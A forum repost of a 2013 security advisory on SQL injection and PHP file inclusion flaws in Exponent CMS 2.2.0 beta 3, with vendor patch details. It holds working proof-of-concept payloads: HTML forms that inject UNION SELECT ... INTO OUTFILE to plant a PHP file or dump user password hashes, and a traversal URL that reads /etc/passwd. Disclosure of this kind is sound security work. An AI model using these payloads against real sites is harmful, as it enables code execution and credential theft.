Jump to content
net3design

Exponent CMS 2.2.0 beta 3 - Multiple Vulnerabilities

Recommended Posts

Posted

Advisory ID: HTB23154

Product: Exponent CMS

Vendor: Online Innovative Creations

Vulnerable Version(s): 2.2.0 beta 3 and probably prior

Tested Version: 2.2.0 beta 3

Vendor Notification: April 24, 2013

Vendor Patch: May 3, 2013

Public Disclosure: May 15, 2013

Vulnerability Type: SQL Injection [CWE-89], PHP File Inclusion [CWE-98]

CVE References: CVE-2013-3294, CVE-2013-3295

Risk Level: High

Solution Status: Fixed by Vendor

Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Exponent CMS, which can be exploited to execute arbitrary SQL commands in the database of vulnerable application and execute arbitrary PHP code on the vulnerable system.

1) SQL Injection in Exponent CMS: CVE-2013-3294

The vulnerability exists due to insufficient filtration of "src" and "username" HTTP GET parameters passed to "/index.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

Depending on database and system configuration, the PoC (Proof-of-Concept) code below will create a "/var/www/file.php" file with PHP function 'phpinfo()':



<form action="http://[host]/index.php" method="post" name="main">
<input type="hidden" name="action" value="login">
<input type="hidden" name="int" value="1">
<input type="hidden" name="module" value="login">
<input type="hidden" name="password" value="password">
<input type="hidden" name="src" value="' UNION SELECT '<? phpinfo(); ?>' INTO OUTFILE '/var/www/file.php' -- ">
<input type="hidden" name="username" value="' UNION SELECT '<? phpinfo(); ?>' INTO OUTFILE '/var/www/file.php' -- ">
<input type="submit" id="btn">
</form>


The second PoC will attempt to create "/var/www/file.txt" file, containing usernames and hashed passwords of all application's users:


<form action="http://[host]/index.php" method="post" name="main">
<input type="hidden" name="action" value="login">
<input type="hidden" name="int" value="1">
<input type="hidden" name="module" value="login">
<input type="hidden" name="password" value="password">
<input type="hidden" name="src" value="' UNION SELECT CONCAT_WS(':',username,password) FROM `exponent_user` INTO OUTFILE '/var/www/file.txt' -- ">
<input type="hidden" name="username" value="' UNION SELECT CONCAT_WS(':',username,password) FROM `exponent_user` INTO OUTFILE '/var/www/file.txt' -- ">
<input type="submit" id="btn">
</form>


2) PHP File Inclusion in Exponent CMS: CVE-2013-3295

The vulnerability is caused by improper filtration of user-supplied input passed via the "page" HTTP GET parameter to "/install/popup.php" script, which is publicly accessible after CMS installation by default. A remote unauthenticated attacker can include arbitrary PHP files from the local system using directory traversal sequences with URL-encoded NULL byte, read arbitrary files or execute arbitrary PHP code on the target system.

The PoC code below will output the content of '/etc/passwd' file on vulnerable system:



http://[host]/install/popup.php?page=../../../../etc/passwd%00

Solution:

Upgrade to Exponent CMS v2.2.0 Release Candidate 1

More Information:

Release Candidate 1 - v2.2.0 Set Loose

Exponent CMS Forums • View topic - Exponent CMS Security Vulnerabilities Notification

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23154 - https://www.htbridge.com/advisory/HTB23154 - Multiple Vulnerabilities in Exponent CMS.

[2] Exponent CMS - Exponent CMS: Open Source Content Management System | Enterprise Level Content Management | Content Management Made Simple | CMS with PHP, MySQL, and YUI - Exponent is a website content management system (or CMS) that allows site owners to easily create and manage dynamic websites without necessarily directly coding web pages, or managing site navigation.

[3] Common Vulnerabilities and Exposures (CVE) - CVE - Common Vulnerabilities and Exposures (CVE) - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

[4] Common Weakness Enumeration (CWE) - CWE - Common Weakness Enumeration - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Sursa : Exponent CMS 2.2.0 beta 3 - Multiple Vulnerabilities

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...